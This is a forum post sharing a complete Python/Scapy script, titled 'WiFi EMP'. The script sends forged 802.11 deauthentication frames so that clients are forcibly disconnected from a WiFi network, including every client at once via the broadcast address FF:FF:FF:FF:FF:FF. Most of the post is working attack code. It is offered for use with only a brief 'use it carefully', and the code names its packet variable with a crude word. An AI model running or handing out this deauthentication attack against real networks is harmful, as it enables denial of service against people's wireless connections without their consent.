WiFi EMP - Disconnect all clients from WiFi 04-19-2016, 02:17 AM
#1
Here is a neat little script I wrote a while back.
It simply runs on a device with a WiFi adapter and will disconnect all clients.
This happens by using the broadcast client ID - FF:FF:FF:FF:FF:FF
that will send all packets across any client on the network.
Hope you find use for this and use it carefully.
It simply runs on a device with a WiFi adapter and will disconnect all clients.
This happens by using the broadcast client ID - FF:FF:FF:FF:FF:FF
that will send all packets across any client on the network.
Code:
import sys
import os
class colors:
GREEN = '\033[92m'
NORMAL = '\033[0m'
RED = '\033[91m'
BLUE = '\033[94m'
BLERG = '\033[95m'
if len(sys.argv) != 5:
print 'usage: ./deauth.py interface bssid client count'
sys.exit(1)
banner = """
___________________ ___________
\______ \_ ___ \\_ _____/
| _/ \ \/ | __)_
| | \ \____| \
|____|_ /\______ /_______ /
\/ \/ \/
__ __._____________.__
/ \ / \__\_ _____/|__|
\ \/\/ / || __) | |
\ /| || \ | |
\__/\ / |__|\___ / |__|
\/ \/
___________ _____ __________
\_ _____/ / \\______ \
| __)_ / \ / \| ___/
| \/ Y \ |
/_______ /\____|__ /____|
\/ \/
"""
print colors.GREEN + banner + colors.NORMAL
raw_input("Please hit enter to continue . . .")
from scapy.all import *
print '| EMP SCRIPT v1.0 |'
conf.iface = sys.argv[1]
bssid = sys.argv[2]
client = sys.argv[3]
amount = sys.argv[4]
conf.verb = 0
rape = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
for n in range(int(amount)):
sendp(rape)
print colors.NORMAL + 'Deauth sent via: ' + colors.BLERG + conf.iface + colors.GREEN + ' to BSSID: ' + colors.RED + bssid + colors.NORMAL + ' Attacking client: ' + colors.BLUE + client + colors.NORMAL
print ''
raw_input("EMP Finished attack hit enter to exit . . .")
os.system("clear")
Hope you find use for this and use it carefully.